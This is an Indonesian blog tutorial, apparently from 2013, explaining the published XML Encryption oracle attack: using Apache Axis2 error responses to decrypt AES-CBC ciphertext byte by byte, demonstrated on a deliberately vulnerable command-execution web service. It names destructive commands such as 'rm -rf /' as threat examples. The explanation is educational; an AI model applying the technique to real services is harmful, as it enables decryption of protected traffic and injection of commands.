Mencari karakter ke-5

Kita akan mengirim request “RAHASIA:topsa” sampai dengan “RAHASIA:topsz” untuk mencari karakter ke-5. Hasil sniffing menunjukkan bahwa karakter ke-5 adalah huruf ‘e’ sehingga kita sudah menemukan 5 karakter pertama yaitu “topse”.

Screen Shot 2013-04-12 at 6.38.24 PM

Proses pencarian 5 karakter pertama ini saya pikir sudah cukup sebagai proof-of-concept, bila kita teruskan proses ini kita akan mendapatkan semua karakter dari teks rahasia yang ingin dicari.

 

XML Encryption Attack

On April 7, 2013, in Cryptography, by Rizki Wicaksono

XML Encryption adalah bagian dari standar xml security yang dibuat oleh W3C. XML encryption mendefinisikan standar bagaimana mengenkrip dokumen XML dengan granularitas tinggi, mulai dari mengenkrip seluruh dokumen XML atau hanya salah satu elemen saja dalam XML. Dalam tulisan ini saya akan membahas paper dari ilmuwan Jerman tahun 2011 berjudul “How to break XML encryption” yang memaparkan bagaimana memecahkan enkripsi XML encryption.

Teknik dekripsi XML encryption ini juga menggunakan “oracle” walaupun sedikit berbeda tetapi sangat disarankan untuk membaca dulu tulisan saya sebelumnya tentang padding oracle attack agar lebih mudah membaca tulisan ini karena beberapa konsep yang sudah dibahas disana tidak saya ulangi lagi disini.

XML Encryption

Cara untuk mengirimkan data yang terstruktur dari satu tempat ke tempat lain ada banyak cara, antara lain dengan JSON, YAML dan yang paling populer adalah XML. XML dipakai di banyak aplikasi, termasuk dalam aplikasi e-commerce dan web service sehingga kebutuhan untuk menjaga kerahasiaan data dalam XML sangat tinggi.

Bayangkan bila XML dipakai untuk mengirimkan purchase order seperti dibawah ini. Tentu sangat riskan bila data rahasia seperti kratu kredit dikirimkan apa adanya tanpa dilindungi kerahasiaannya dengan enkripsi.

Screen Shot 2013-04-07 at 7.52.19 PM

Standar XML Encryption memiliki granularitas tinggi dalam hal data apa yang akan dienkripsi dalam XML. Kita bisa mengenkrip seluruh dokumen XML tersebut seperti dibawah ini.

Screen Shot 2013-04-07 at 7.52.33 PM

Kita juga bisa hanya mengenkrip tag Payment dan semua sub-tagnya saja, sedangkan tag Order tidak dienkrip.

Screen Shot 2013-04-07 at 7.52.51 PM

Bahkan bila data yang perlu dirahasiakan hanya data dalam tag CardId saja, sedangkan CardName, ValidDate tidak perlu dirahasiakan, itu juga bisa dilakukan dengan XML encryption.

Screen Shot 2013-04-07 at 7.53.18 PM

Skema Padding XML Encryption

Soal padding sudah saya bahas panjang lebar di tulisan saya tentang padding oracle attack, dalam tulisan tersebut padding yang dipakai adalah standar PKCS#5 dan PKCS#7. XML encryption juga menggunakan padding untuk menggenapi plaintext menjadi berukuran tertentu sesuai dengan algoritma enkripsi yang dipakai seperti AES dengan blok berukuran 16 byte.

Padding pada standar XML Encryption berbeda dengan padding menurut aturan PKCS#5/#7. Byte terakhir menjadi petunjuk panjang padding byte, dalam hal ini masih sama dengan PKCS#5/#7. Namun bedanya dengan PKCS#5/#7, byte-byte yang menjadi padding pada standar XML encryption, boleh bernilai apapun, tidak harus bernilai sama dengan byte terakhir.

Sebagai contoh, bila byte terakhir bernilai 03, sesuai standar PKCS, 3 byte terakhir juga harus bernilai 03-03-03, sementara dalam standar XML encryption, 2 byte sebelum byte terakhir boleh bernilai apapun, tidak harus sama dengan byte terakhir.

Jadi padding XML encryption dikatakan valid bila byte terakhirnya bernilai antara 01-10 (bila satu blok berukuran 16 byte), tanpa perlu lagi melihat byte-byte sebelumnya seperti pada standar PKCS. Berikut adalah contoh-contoh padding yang valid.

Screen Shot 2013-04-07 at 6.49.03 PM

AXIS sebagai “The Oracle”

Dalam tulisan ini kita menggunakan web service berbasis AXIS. Apache AXIS adalah salah satu implementasi dari protokol SOAP open source yang digunakan untuk web service.

Strategi attack ini adalah dengan mengirimkan “specially crafted”, ciphertext yang sudah kita susun sedemikian rupa sehingga ketika dikirimkan ke AXIS, dia akan meresponse dengan jawaban yes/no, valid/invalid yang bisa kita pakai untuk menebak-nebak hasil dekripsi ciphertext kita.

Sebelumnya kita harus mengenal dulu jenis respons yang diberikan oleh AXIS. Pertama adalah jenis error “security fault”, cirinya adalah jika kita menerima respons XML berikut ini.

Screen Shot 2013-04-07 at 7.09.01 PM

Security fault bisa terjadi karena dua hal:

  • Incorrect Padding
  • Error ini terjadi bila byte terakhir bukan berada pada rentang 0×01-0×10 (1 byte s/d 16 byte).

  • Illegal XML Character (XML parsing failed)
  • Error ini terjadi bila blok berhasil didekrip (valid padding), namun plaintext hasil dekripsinya mengandung karakter yang tidak dibolehkan dalam XML atau mengandung kesalahan syntax XML. Karakter yang haram berada di XML adalah karakter dengan kode ASCII antara 00 – 1F kecuali karakter whitespace 09, 0A dan 0D.

    Kesalahan sintaks XML mungkin terjadi bila hasil dekripsinya mengandung karakter 3C (“<") yang dianggap sebagai pembuka tag XML namun tidak diikuti dengan penutup tag yang benar, atau hasil dekripsinya mengandung karakter 26 ("&") sebagai pengawal entity tanpa diikuti dengan entity reference yang valid.

Kita tidak bisa membedakan apakah error security fault disebabkan karena incorrect padding atau invalid XML karena respons yang diterima sama. Jadi bila kita menerima security fault artinya ada kesalahan padding atau invalid XML.

Jenis respons berikutnya adalah application-specific error. Cirinya adalah ketika kita menerima respons seperti di bawah ini.

Screen Shot 2013-04-07 at 7.09.45 PM

Jenis error ini terjadi setelah kita lolos dari jeratan security fault, artinya kita lolos dari kesalahan padding dan hasil dekripsinya pun tidak mengandung kesalahan XML. Namun karena kita tidak mengirimkan perintah web service yang benar, maka request kita dianggap salah.

Dari dua jenis respons ini kita bisa menyusun sebuah Oracle yang menjawab dengan jawaban boolean, yes/no. Bila kita mendapat respons security fault bisa kita anggap sebagai false, bila bukan security fault bisa dianggap sebagai true, atau sebaliknya.

Tergantung dari bagaimana kita menyusun pertanyaan dengan tepat, jawaban true/false dari “the oracle” bisa kita jadikan petunjuk untuk menebak-nebak plaintext hasil dekripsi ciphertext.

Byte Masking dalam CBC

Sedikit review mengenai mode CBC (cipher block chaining). Karena Pn = Cn-1 XOR Dec(Cn), maka bisa dikatakan isi Pn ditentukan oleh ciphertext blok sebelumnya.

Perhatikan contoh pada gambar di bawah ini, P1 adalah IV XOR Dec(C1). Apa yang terjadi bila byte pertama IV kita XOR dengan A ? Bila byte pertama IV diXOR dengan A, yang terjadi adalah byte pertama P1 juga akan terXOR dengan A.

Screen Shot 2013-04-07 at 8.21.38 PM

Jadi bila kita ingin mengubah P1, kita bisa lakukan dengan cara melakukan “masking”, yaitu mengXOR IV dengan byte masking tertentu, sehingga nilai P1 juga akan terXOR dengan byte yang sama. Prinsip ini sangat penting karena kita akan sering memainkan IV dengan cara meng-XOR IV pada posisi byte tertentu dengan suatu byte masking untuk membuat nilai P1 pada posisi tersebut terXOR juga.

Remote Execution Web Service

Saya akan menjelaskan proses dekripsi ciphertext XML dengan contoh. Saya sudah menyiapkan web service yang melayani remote command execution di server Apache AXIS2. Web service ini menerima argument berupa command shell seperti ls, cat, uname dari client, kemudian mengirimkan hasil eksekusinya kepada client sebagai respons.

Berikut adalah hasil sniffing wireshark, contoh request dan respons, ketika client menginvoke service tersebut untuk mengeksekusi perintah “uname -v”.

Screen Shot 2013-04-07 at 7.40.01 PM

Karena service remote command execution ini adalah service yang sangat sensitif, tentu saja harus dilindungi dari resiko berikut:

  • Seorang peretas bisa mencuri dengar komunikasi antara client dan server

Screen Shot 2013-04-06 at 10.23.49 AM

  • Seorang peretas bisa mengirimkan command yang berbahaya seperti “rm -rf /” atau “shutdown -h now”

Screen Shot 2013-04-06 at 10.25.11 AM

Secured Web Service

Sebagai jawaban dari ancaman resiko tersebut, web service tersebut akan dilindungi dengan xml encryption sehingga semua request dan response dari server dienkrip dengan symmetric encryption (dalam contoh ini digunakan AES-128 dalam mode CBC). Karena digunakan symmetric encryption, sebelumnya client dan server sudah sepakat dengan kunci rahasia yang akan digunakan untuk mengenkrip dan mendekrip request dan response.

Screen Shot 2013-04-06 at 10.31.00 AM

Dengan xml encryption walaupun si peretas tetap bisa menyadap komunikasi client dan server namun kini dia tidak bisa lagi mengerti apa isi komunikasinya.

Si peretas juga tidak bisa mengirimkan malicious command lagi karena dia harus mengirimkan command tersebut dalam bentuk encrypted sedangkan dia tidak tahu kunci untuk mengenkripnya. Tanpa kunci yang benar, command yang dia kirim ke server ketika didekrip di server akan menjadi “garbage text” yang jelas akan ditolak server.

Berikut adalah source code web service yang sudah diamankan dengan xml encryption. Saya mengambil dan memodifikasi sedikit dari sample #09 yang dibawa oleh rampart 1.5. Pada intinya source code tersebut menerima input String cmd kemudian memanggil Runtime.exec() untuk mengeksekusi command shell.

Screen Shot 2013-04-07 at 4.37.12 PM

Web service tersebut saya compile dan deploy dalam Apache Tomcat 5.5.36 + Axis2 1.5.3 + Rampart 1.5. Versi Axis2 dan rampart sengaja saya pilih versi yang masih vulnerable terhadap serangan ini.

Screen Shot 2013-04-07 at 4.47.52 PM

Gambar berikut memperlihatkan contoh ketika seorang client menginvoke web service ‘commandExecute’ dengan input parameter “ls -l”.

Screen Shot 2013-04-07 at 4.53.01 PM

Dengan melakukan sniffing peretas memang masih bisa mendapatkan komunikasi web service antara client dan server. Namun karena web service ini sudah diamankan dengan xml encryption, maka dia hanya mendapatkan request dan respons dalam bentuk ciphertext saja.

Gambar di bawah ini request POST dari client ke server yang didapatkan dari hasil sniffing dengan wireshark.

Screen Shot 2013-04-06 at 9.46.52 AM

Dari request POST tersebut SOAP message yang dikirim client terlihat pada gambar di bawah ini. SOAP message ini meng-invoke service “commandExecute” dengan input berupa command shell. Namun berbeda dengan hasil sniffing pada web service yang tidak diamankan dengan xml encryption, kali ini command shell yang dieksekusi tidak terlihat karena sudah dalam bentuk terenkripsi.

Pada tag EncryptionMethod atribut algorithm menunjukkan bahwa enkripsi yang dipakai adalah AES dengan panjang blok 128 bit dan dalam mode CBC (cipher block chaining). Kalau peretas ingin mengetahui command shell apa yang dikirim ke server dia harus mendekrip ciphertext yang tersimpan pada tag CipherValue dalam bentuk base64 encoded.

Screen Shot 2013-04-06 at 11.53.32 AM

Sedangkan gambar di bawah ini adalah response dari server ke client yang didapatkan dari hasil sniffing dengan wireshark.

Screen Shot 2013-04-06 at 9.51.21 AM

Dari hasil sniffing tersebut SOAP message response dari server terlihat pada gambar di bawah ini. Hasil eksekusi command juga tidak bisa dilihat karena sudah terenkrip. Kalau peretas ingin mengetahui hasil eksekusi command dari client, dia harus mendekrip ciphertext yang ada pada tag CipherValue dalam bentuk base64 encoded.

Screen Shot 2013-04-06 at 12.01.40 PM

Hollywoord Style Decryption

Apakah benar dengan menggunakan XML Encryption masalah akan selesai? Peretas tidak bisa membaca komunikasi antara client dan server dan tidak bisa juga mengirimkan malicious command?

Ternyata si peretas masih bisa mendekrip komunikasi terenkrip antara client dan server walaupun tidak mengetahui kuncinya, dia juga bisa mengirimkan malicious command ke server sekali lagi tanpa mengetahui kuncinya.

Mirip dengan padding oracle attack, kita akan memanfaatkan AXIS2 server sebagai “the oracle” untuk membantu kita mendekrip ciphertext (dan juga mengenkrip ciphertext) byte per byte. Cara dekripsi ciphertext byte per byte ini sering terlihat di film-film hollywood.

Saya telah membuat tools untuk melakukan dekripsi ciphertext baik dari sisi client (request) maupun dari sisi server (response). Berikut adalah rekaman screen recording ketika tools tersebut dijalankan.


Source code dari tools di atas: source code.

Bagaimana cara kerja tools di atas? Bagaimana kita bisa memanfaatkan AXIS2 server sebagai “the oracle” untuk mendekrip ciphertext? Silakan ikuti penjelasannya di bawah ini.

Decrypting Request 

Kita bisa mendekrip ciphertext request dari client maupun ciphertext response dari server. Mari kita mulai dengan mendekrip ciphertext request dari client. Berikut adalah ciphertext yang harus didekrip oleh si peretas.

Screen Shot 2013-04-06 at 12.11.49 PM

Ciphertext di atas adalah dalam bentuk base64 encoded yang terbagi menjadi blok-blok seukuran 16 byte (128 bit). Blok ciphertext pertama (16 byte pertama) adalah initialization vector (IV). Ciphertext tersebut di atas terdiri dari satu blok IV dan 15 blok ciphertext seperti pada gambar di bawah ini.

Screen Shot 2013-04-06 at 12.26.46 PM

Kita akan mendekrip satu blok per satu blok dimulai dari blok ciphertext pertama (C1).

Find IV Procedure

Karena kita akan mendekrip C1, maka kita akan menggunakan dua blok, C0 sebagai IV dan C1 sebagai blok ciphertext target yang akan didekrip. Begitu juga nanti bila kita akan mendekrip blok C2, maka blok yang digunakan adalah C1 sebagai IV dan C2 sebagai blok target.

Ketika mendekrip selalu digunakan sepasang blok, blok pertama sebagai IV dan blok kedua sebagai ciphertext target yang akan didekrip. Blok kedua selalu tetap, sedangkan blok pertama (IV) adalah blok yang berubah-ubah, dimanipulasi untuk mengorek informasi dari “The Oracle”

Kalau kita potong ciphertextnya hanya dua blok awal saja kemudian kita kirimkan ke AXIS2 server, maka kita akan mendapat response error invalid padding karena byte terakhir dari blok pertama kini dianggap byte yang menunjukkan panjang padding (panjang padding yang valid antara 1-16 byte).  Jadi bila hasil dekrip byte terakhir blok pertama tersebut nilainya bukan antara 0×01 – 0×10 maka akan menghasilkan error, invalid padding.

Pada gambar di bawah ini terlihat bahwa di server byte terakhir hasil dekripnya IV+C1 (P1) adalah 0×63 sehingga jelas bukan padding yang valid. Server AXIS2 akan memberikan response “invalid padding OR invalid XML” dalam bentuk error “security fault” (karena error messagenya sama, kita tidak bisa membedakan apakah security fault disebabkan karena invalid padding atau invalid XML).

Dalam hal ini seperti tulisan sebelumnya tentang padding oracle, server AXIS2 bertindak sebagai ‘the oracle’ yang bisa kita interogasi untuk mendekrip ciphertext.

Screen Shot 2013-04-06 at 1.36.11 PM

Agar kita mendapatkan hasil dekrip dengan padding byte yang valid (antara 0×01-0×10), kita harus mencari byte terakhir IV yang membuat byte terakhir P1 valid. Gambar di bawah ini menunjukkan ketika byte terakhir IV bernilai 0×02, maka byte terakhir P1 bernilai 06 yang berarti valid padding.

Screen Shot 2013-04-06 at 1.39.01 PM

Walaupun kita sudah temukan IV yang membuat P1 valid padding, namun kita tetap mendapatkan error “invalid padding OR invalid XML” kenapa begitu ? Mari kita lihat isi dari P1 pada gambar di bawah ini. Setelah 6 byte terakhir dibuang, hasil akhirnya adalah teks: “<nsl:comma” yang jelas bukan XML yang valid karena ada karakter pembuka tag 3C (“<”) yang tidak ditutup.

Screen Shot 2013-04-06 at 1.41.07 PM

Karena ada karater pembuka tag “<” di awal blok maka satu-satunya yang bisa membuat P1 tidak mendapatkan error “invalid padding dan invalid XML” adalah ketika byte terakhir P1 bernilai 10 hexa (16 byte). Dengan byte terakhir bernilai 10 hexa (16 byte), artinya semua isi P1 akan dibuang karena dianggap byte padding, dengan kata lain P1 akan menjadi empty string. Karena P1 adalah empty string, maka lolos dari jeratan error “invalid padding” dan “invalid XML”.

Screen Shot 2013-04-06 at 1.54.59 PM

Bila dalam blok tersebut tidak ada karakter 3C (“<”), maka kita akan mendapatkan 16 IV yang menghasilkan valid padding dan valid XML. Bila jumlah IV yang membuat valid padding dan valid XML tidak mencapai 16, artinya dalam plaintextnya mengandung karakter “<” di posisi “jumlah IV”:

  • Bila jumlah IV yang valid hanya satu, artinya di byte ke-1 ada karakter “<” dan byte padding yang valid adalah 10 hexa.
  • Bila jumlah IV yang valid ada 2, artinya di byte ke-2 ada karakter “<” dan byte padding yang valid adalah 0F dan 10 hexa.
  • Bila jumlah IV yang valid ada 3, artinya di byte ke-3 ada karakter “<” dan byte padding yang valid adalah 0E, 0F dan 10.
  • Bila jumlah IV yang valid ada 4, artinya di byte ke-4 ada karakter “<” dan byte padding yang valid adalah 0D, 0E, 0F dan 10.
  • Bila jumlah IV yang valid ada 5, artinya di byte ke-5 ada karakter “<” dan byte padding yang valid adalah 0C, 0D, 0E, 0F dan 10
  • dan seterusnya

Contoh dalam gambar di bawah ini menunjukkan bahwa dari 16 byte padding yang valid, hanya ada 5 yang menghasilkan P1 yang valid. Sisanya 11 byte padding dari 01-0B masih menyisakan karakter “<” sehingga hasil akhirnya menjadi invalid XML. Begitu si peretas mendeteksi ada 5 IV yang valid, maka bisa diketahui bahwa di karakter ke-5 mengandung karakter “<”.

Screen Shot 2013-04-06 at 3.24.24 PM

Jumlah IV yang valid menunjukkan posisi karakter “<”

Kembali lagi ke contoh kita. Setelah kita mencoba semua kemungkinan byte terakhir IV dari 0-255, kita hanya mendapatkan satu IV yang tidak menghasilkan respons invalid padding dan invalid XML. Dari hasil ini kita meyakini bahwa karakter pertama P1 adalah “<” (0x3C).

Mengubah “<” menjadi “=”

Oke, kini kita sudah berhasil mendapatkan satu byte pertama, yaitu karakter “<”. Lalu apa lagi ? Sebenarnya yang ingin kita dapatkan di tahap “Find IV” ini adalah mendapatkan 16 IV yang tidak menghasilkan respons invalid padding dan invalid XML. Tapi karena ada karakter “<” di byte pertama, kita hanya mendapatkan 1 saja.

Agar kita bisa mendapatkan 16 IV yang valid, kita harus menghilangkan karakter “<” dengan mengubahnya menjadi karakter “=”. Bagaimana caranya? Itu mudah, kita sudah tahu posisi karakter “<” di byte ke berapa, selanjutnya kita hanya perlu menyesuaikan IV di byte tersebut agar P1 di posisi tersebut berubah dari “<” menjadi “=”.

Bagi yang sudah membaca padding oracle di tulisan saya sebelumnya tentu mengerti caranya, yaitu dengan operasi XOR karena dalam mode CBC, P1 adalah hasil XOR antara IV dan hasil dekrip C1, dengan memainkan IV kita bisa menentukan P1 mau dibuat menjadi apa. Karena 3C (“<”) XOR 3D (“=”) adalah 01, maka IV di posisi yang mengandung karakter 3C harus kita XOR-kan 01 agar hasil akhirnya nanti byte pertama P1 berubah menjadi “=”.

Kita tadi menggunakan IV dengan byte pertama 1A, setelah kita XOR dengan 01, maka kini byte pertama IV kita menjadi 1B. Dengan byte pertama IV 1B, maka byte pertama P1 dijamin bernilai “=” bukan lagi “<”.

Setelah kita mem-fix-kan byte pertama P1 menjadi “=”, kita harus mengulangi lagi prosedur find IV sampai kita mendapatkan 16 IV yang valid. Gambar di bawah ini menunjukkan 3 IV yang menghasilkan valid P1 setelah byte pertama P1 dikunci menjadi “=”. Perhatikan bahwa byte pertama IV sudah kita tetapkan 1B sehingga byte pertama P1 selalu bernilai 3D (“=”).

Screen Shot 2013-04-06 at 4.17.36 PM

Bila proses ini diteruskan, kita akan menemukan 16 IV yang membuat P1 menjadi valid. Gambar berikut adalah daftar 16 IV yang menghasilkan P1 yang valid. Perhatikan bahwa hanya byte terakhir saja yang berbeda dan byte pertama selalu 1B.

Screen Shot 2013-04-07 at 8.09.43 PM

Sampai sini kita hanya mengumpulkan 16 IV yang menghasilkan byte terakhir P1 yang valid antara 01-10 hexa. Kita tidak tahu IV mana yang menghasilkan byte terakhir 01. Kita hanya menginterogasi AXIS2 sebagai “the oracle” dan the oracle hanya menjawab valid atau tidak valid, dia tidak pernah memberitahukan isi P1.

Namun ada sedikit petunjuk yang bisa kita pakai, dari ke-16 byte terakhir IV tersebut, hanya ada satu yang bit ke-4nya berbeda dari yang lain. IV yang berbeda sendiri itu adalah IV yang membuat P1 berakhiran 10 hexa. Hanya itu petunjuk yang kita tahu. Kita hanya bisa mencari IV mana yang membuat P1 menjadi berakhiran dengan byte 10 hexa.

Secara sepintas sebenarnya sudah bisa dilihat, 15 IV yang lain depannya adalah 0, sedangkan hanya dia sendiri yang depannya adalah 1, jadi bisa disimpulkan bahwa IV dengan byte terakhir 14 hexa adalah IV yang membuat byte terakhir P1 menjadi 10 hexa.

Membuat Single Byte Padding

Sebenarnya tujuan akhir pada fase “find IV” ini adalah kita mencari IV yang membuat P1 menjadi berakhiran dengan byte 01 (single byte padding). Kita telah mengetahui bahwa byte terakhir IV 14 menghasilkan byte terakhir P1 10. Berapakah byte terakhir IV yang membuat byte terakhir P1 menjadi 01 ?

Dengan operasi matematika sederhana bisa kita hitung, 10 XOR 01 = 11, sehingga 14 XOR 11 = 05. Jadi sekarang kita sudah mendapatkan informasi bahwa byte terakhir IV 05 menghasilkan byte terakhir P1 01. Kok bisa begitu? Tentu saja bisa, just simple math :) Bila anda masih bingung, silakan baca lagi tulisan saya tentang “Padding Oracle Attack” yang menjelaskan tentang operasi XOR pada block cipher mode CBC.

Jadi prosedur Find IV ini diakhiri dengan didapatkannya IV berikut ini:

Screen Shot 2013-04-06 at 5.09.07 PM

Dengan IV tersebut, dijamin P1 akan berakhiran dengan 01 (single byte padding).

Mencari byte terakhir

Hal paling mudah yang bisa kita lakukan di tahap ini adalah mencari byte terakhir hasil dekrip C1. Sebelumnya kita sudah tahu bahwa dengan IV yang berakhiran 05, maka byte terakhir P1 adalah 01. Dari sini bisa kita ketahui bahwa byte terakhir hasil dekrip C1 adalah 05 XOR 01 = 04.

Screen Shot 2013-04-06 at 5.53.39 PM

Masih ada 15 byte lain hasil dekrip C1 yang belum diketahui. Mari kita lanjutkan prosesnya untuk mencari byte ke-1 sampai byte ke-15.

Mencari Byte ke-1

Kita mulai dari mencari byte pertama dulu baru kemudian mencari byte berikutnya sampai byte ke-15.

Strategi mencari byte ke-X adalah dengan menggunakan IV yang sudah kita temukan dalam prosedur “Find IV” sebagai IV dasar. IV tersebut akan kita ubah pada posisi byte ke-X kemudian mengamati respons dari “the oracle” AXIS2 Server, apakah perubahan IV pada byte ke-X tersebut mentrigger error ?

Bila ternyata setelah IV diubah di posisi byte ke-X terjadi error, maka bisa dipastikan error tersebut karena adanya “illegal character” di posisi byte ke-X (tidak mungkin karena invalid padding karena IV tersebut sudah kita kunci agar paddingnya selalu 01). Response dari “the oracle” tersebut bisa kita gunakan untuk menebak hasil dekripsi C1.

Jadi pertama yang akan kita lakukan adalah mencari byte pertama IV yang membuat “the oracle” memberikan response error invalid XML. Kita akan mencari byte pertama IV tersebut dengan melakukan XOR antara byte pertama IV dasar kita dengan byte 0×00, 0×10, 0×20, 0×30, 0×40, 0×50, 0×60 dan 0×70 dan mencatat IV mana saja yang menghasilkan error “invalid XML”.

Kita akan menginterogasi “the oracle” untuk menjawab pertanyaan-pertanyaan:

  • Apakah dengan byte pertama IV 1B XOR 00 = 1B, menghasilkan error invalid XML ?
  • Apakah dengan byte pertama IV 1B XOR 10 = 0B, menghasilkan error invalid XML ?
  • Apakah dengan byte pertama IV 1B XOR 20 = 3B, menghasilkan error invalid XML ?
  • Apakah dengan byte pertama IV 1B XOR 30 = 2B, menghasilkan error invalid XML ?
  • Apakah dengan byte pertama IV 1B XOR 40 = 5B, menghasilkan error invalid XML ?
  • Apakah dengan byte pertama IV 1B XOR 50 = 4B, menghasilkan error invalid XML ?
  • Apakah dengan byte pertama IV 1B XOR 60 = 7B, menghasilkan error invalid XML ?
  • Apakah dengan byte pertama IV 1B XOR 70 = 6B, menghasilkan error invalid XML ?

Ternyata setelah dicoba, didapatkan hasil bahwa hanya ada satu IV yang membuat error invalid XML, yaitu bila byte pertama IV bernilai 3B (=1B XOR 20).

Screen Shot 2013-04-07 at 2.01.25 PM

Bila hanya ada satu IV yang membuat jadi invalid XML, maka kemungkinan byte pertama P1 adalah 19, 1A atau 1D. Kita belum tahu yang mana, yang jelas di antara tiga itu. Kita perlu menginterogasi “the oracle” lebih lanjut untuk mendapatkan konfirmasi lanjutan apakah 19, 1A atau 1D.

Screen Shot 2013-04-06 at 6.59.49 PM

Sebagai cara untuk konfirmasi, kita akan membuat tiga kandidat P1 (19 / 1A / 1D) menjadi byte 3C “<” sehingga men-trigger error invalid XML. Kita akan malakukan byte masking sekali lagi dengan byte 25, 26, 21 karena 19 XOR 25 = 3C, 1A XOR 26 = 3C dan 1D XOR 21 = 3C.

Ingat bila IV di XOR dengan A, maka P1 juga akan berubah menjadi P1 XOR A.

Screen Shot 2013-04-07 at 8.57.59 AM

Byte pertama IV (3B) akan kita XOR dengan 25, 26 dan 21 kemudian kita interogasi “the oracle” untuk mengetahui jawaban pertanyaan berikut:

  • Apakah dengan byte pertama IV 3B XOR 25 = 1E, menghasilkan error invalid XML ?
  • Apakah dengan byte pertama IV 3B XOR 26 = 1D, menghasilkan error invalid XML ?
  • Apakah dengan byte pertama IV 3B XOR 21 = 1A, menghasilkan error invalid XML ?

Setelah dicoba, hanya 1A (=3B XOR 21)  yang menghasilkan error invalid XML. Perhatikan bahwa ketika byte pertama IV di-XOR dengan 21, maka byte pertama P1 juga akan ter-XOR dengan 21. Karena byte pertama P1 diXOR 21 mentrigger error invalid XML, maka diyakini bahwa byte pertama P1 XOR 21 = 3C sehingga kita dapat konfirmasi kepastian bahwa byte pertama P1 adalah 1D.

Screen Shot 2013-04-07 at 9.05.05 AM

Dengan mengetahui byte pertama IV dan byte pertama P1, kita bisa menghitung byte pertama hasil dekrip C1 adalah 3B XOR 1D = 26 atau bisa juga menggunakan 1A XOR 3C = 26.

Screen Shot 2013-04-06 at 7.07.35 PM

Mencari Byte ke-2

Mari kita lanjutkan untuk mencari byte ke-2, masih dengan menggunakan IV dasar hasil prosedur “Find IV” yang membuat single byte padding. Dengan prosedur yang sama kita harus mengubah byte ke-2 IV tersebut sehingga mentrigger error invalid XML.

Sama seperti cara mencari byte pertama, kali ini byte ke-2 IV akan kita XOR-kan dengan byte 00,10,20,30,40,50,60,70 sehingga byte ke-2 P1 juga akan ter-XOR dengan byte-byte tersebut. Dari ketujuh byte mask 00 – 70 tersebut akan ada satu atau lebih yang membuat P1 berubah menjadi karakter illegal sehingga mentrigger error invalid XML.

Sekali lagi kita akan menginterogasi “the oracle” untuk menjawab pertanyaan-pertanyaan:

  • Apakah dengan byte ke-2 IV 8A (=8A XOR 00), menghasilkan error invalid XML ?
  • Apakah dengan byte ke-2 IV 9A (=8A XOR 10), menghasilkan error invalid XML ?
  • Apakah dengan byte ke-2 IV AA (=8A XOR 20), menghasilkan error invalid XML ?
  • Apakah dengan byte ke-2 IV BA (=8A XOR 30), menghasilkan error invalid XML ?
  • Apakah dengan byte ke-2 IV CA (=8A XOR 40), menghasilkan error invalid XML ?
  • Apakah dengan byte ke-2 IV DA (=8A XOR 50), menghasilkan error invalid XML ?
  • Apakah dengan byte ke-2 IV EA (=8A XOR 60), menghasilkan error invalid XML ?
  • Apakah dengan byte ke-2 IV FA (=8A XOR 70), menghasilkan error invalid XML ?

Setelah dicoba kali ini sedikit berbeda, ada lebih dari satu IV yang mentrigger error invalid XML, yaitu EA dan FA. Pasangan IV tersebut tersebut membuat P1 menjadi pasangan “illegal XML character” berikut:

  • 0×00 dan 0×10
  • 0×01 dan 0×11
  • 0×02 dan 0×12
  • 0×03 dan 0×13
  • 0×04 dan 0×14
  • 0×05 dan 0×15
  • 0×07 dan 0×17
  • 0×08 dan 0×18
  • 0x0B dan 0x1B
  • 0x0E dan 0x1E
  • 0x0F dan 0x1F

Kita tidak tahu, EA dan FA membuat P1 menjadi pasangan yang mana? Oleh karena itu kita butuh konfirmasi lebih lanjut dari “the oracle” untuk memastikan. Sebenarnya kita tidak perlu menguji kedua IV tersebut karena yang manapun yang kita pilih hasilnya akan sama, jadi kita pilih salah satu saja yang pertama, EA.

Screen Shot 2013-04-06 at 8.36.52 PM

Sampai disini kita tidak tahu, byte ke-2 IV EA membuat byte ke-2 P1 menjadi bernilai berapa? Kita hanya tahu byte ke-2 P1 adalah salah satu dari 22 kandidat: 00, 10, 01, 11, 02, 12, 03, 13, … ,0E, 1E, 0F, 1F.

Lagi-lagi kita gunakan byte mask untuk menguji kandidat. Karena kita ingin membuat byte ke-2 P1 bernilai 3C, maka semua 22 kemungkinan P1 tersebut kita XOR dengan 3C untuk membuat 22 byte mask. Jadi byte mask yang akan kita pakai untuk menguji adalah:

  • 0x3C (=00 XOR 3C)
  • 0x2C (=10 XOR 3C)
  • 0x3D (=01 XOR 3C)
  • 0x2D (=11 XOR 3C)
  • 0x3E (=02 XOR 3C)
  • 0x2E (=12 XOR 3C)
  • 0x3F (=03 XOR 3C)
  • 0x2F (=13 XOR 3C)
  • dan seterusnya.. 0×38, 0×28, 0×39, 0×29, 0x3B, 0x2B, 0×34, 0×24, 0×37, 0×27, 0×32…
  • 0×22 (=1E XOR 3C)
  • 0×33 (=0F XOR 3C)
  • 0×23 (=1F XOR 3C)

Gambar berikut menunjukkan alur logika bagaimana dengan jawaban valid/invalid XML dari “the oracle” kita bisa menebak dengan tepat isi byte ke-2 P1.

Screen Shot 2013-04-07 at 11.22.01 AM

Setelah IV 0xEA di XOR dengan 22 byte mask di atas ditemukan dua di antaranya yang mentrigger error invalid XML, yaitu C2 (=EA XOR 28) dan D8 (=EA XOR 32).

Screen Shot 2013-04-07 at 2.32.46 PM

Karena kandidatnya tinggal dua kemungkinan, 26 atau 3C dan diketahui bahwa 26 XOR 2F = 09 (karakter legal, tidak mentrigger error invalid XML) sedangkan 3C XOR 2F = 13 (karakter ilegal, mentrigger invalid XML), maka kita akan gunakan byte mask 0x2F sebagai pembeda di antara keduanya.

Sekali lagi kita tidak perlu memakai kedua IV tersebut, cukup gunakan salah satu saja, C2 atau D8, yang manapun yang dipilih hasilnya sama saja. Dalam contoh ini kita pilih saja C2 sebagai byte ke-2 IV.

Ingat, bila IV diXOR dengan 2F, maka P1 nilainya juga akan berubah menjadi P1 XOR 2F

Kita akan menginterogasi “the oracle” untuk mengetahui jawaban dari pertanyaan:

  • Apakah dengan mengubah byte ke-2 IV menjadi ED (=C2 XOR 2F), akan mentrigger error invalid XML ?

Bila jawaban dari AXIS “the oracle” adalah no (tidak mentrigger error invalid XML), maka bisa dipastikan bahwa byte ke-2 P1 adalah 09. Sebaliknya bila jawaban “the oracle” adalah yes, maka bisa dipastikan bahwa byte ke-2 P1 adalah 13.

Screen Shot 2013-04-07 at 11.39.08 AM

